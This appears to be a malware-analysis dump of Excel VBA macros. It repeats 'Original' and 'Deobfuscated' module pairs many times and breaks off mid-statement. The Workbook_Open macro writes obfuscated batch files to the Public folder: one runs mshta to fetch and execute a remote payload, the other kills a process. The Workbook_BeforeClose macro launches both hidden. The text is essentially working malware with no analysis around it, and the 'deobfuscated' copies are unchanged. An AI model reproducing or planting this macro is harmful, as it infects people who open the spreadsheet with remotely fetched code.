Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Deobfuscated

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Original

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Deobfuscated

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Original

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Deobfuscated

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Original

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Deobfuscated

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Original

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Deobfuscated

                                        Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Original

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pub" + "lic%\Out" + "." + "bat exit" & vbLf, 0
Shell$ _
   "c" + "m" + "d /c ping -n 7 127.0.0.1 & %pu" + "blic%\KilFile" + "." + "bat exit" & vbLf, 0
End Sub

Deobfuscated

                                        Attribute VB_Name = "EstaPastaDeTrabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
   Dim iStage As Integer
   Dim iCounter As Integer
   Dim iPage As Integer
   Dim sfile As String
   Dim sfile1 As String
   Dim CDTFile As String
   
sfile = Environ("Public") & "\Out" + "." + "bat"
sfile1 = Environ("Public") & "\KilFile" + "." + "bat"
   
   Close
     Open sfile For Output As #1
Print #1, "@echo off"
Print #1, "Set agd=lf2DnmhSZWjYsd3LqyoBOabgPTz9IX1QvMrxp7A5Jkc6RHt0U8wFNuK4iCGeVE"
Print #1, "cls"
Print #1, "%agd:~5,1%%agd:~12,1%%agd:~6,1%%agd:~46,1%%agd:~21,1% %agd:~6,1%%agd:~46,1%%agd:~46,1%%agd:~36,1%://%agd:~1,1%%agd:~21,1%%agd:~42,1%%agd:~59,1%%agd:~35,1%%agd:~46,1%%agd:~34,1%%agd:~21,1%%agd:~13,1%%agd:~59,1%.%agd:~42,1%%agd:~18,1%%agd:~5,1%.%agd:~22,1%%agd:~34,1%/%agd:~26,1%.%agd:~5,1%%agd:~36,1%%agd:~14,1%"
   
   
     Open sfile1 For Output As #2
Print #2, "@echo off"
Print #2, "Set agsh=256ezvjwUmgrWpL3dKt8oHZOnDGA1caMPs74QuByCNhXR0VxfEiJlIFkY9bSqT"
Print #2, "cls"
Print #2, "%agsh:~29,1%%agsh:~9,1%%agsh:~16,1% /%agsh:~29,1% %agsh:~33,1%%agsh:~18,1%%agsh:~30,1%%agsh:~11,1%%agsh:~18,1% /%agsh:~9,1%%agsh:~50,1%%agsh:~24,1% %agsh:~18,1%%agsh:~30,1%%agsh:~33,1%%agsh:~55,1%%agsh:~55,1%%agsh:~50,1%%agsh:~52,1%%agsh:~52,1% /%agsh:~48,1% /%agsh:~50,1%%agsh:~9,1% %agsh:~12,1%%agsh:~53,1%%agsh:~41,1%%agsh:~12,1%%agsh:~23,1%%agsh:~44,1%%agsh:~25,1%.%agsh:~49,1%%agsh:~43,1%%agsh:~49,1% & %agsh:~3,1%%agsh:~47,1%%agsh:~50,1%%agsh:~18,1%"
      
   
   
   Close


End Sub
Sub Workbook_BeforeClose(Cancel As Boolean)
Shell$ _
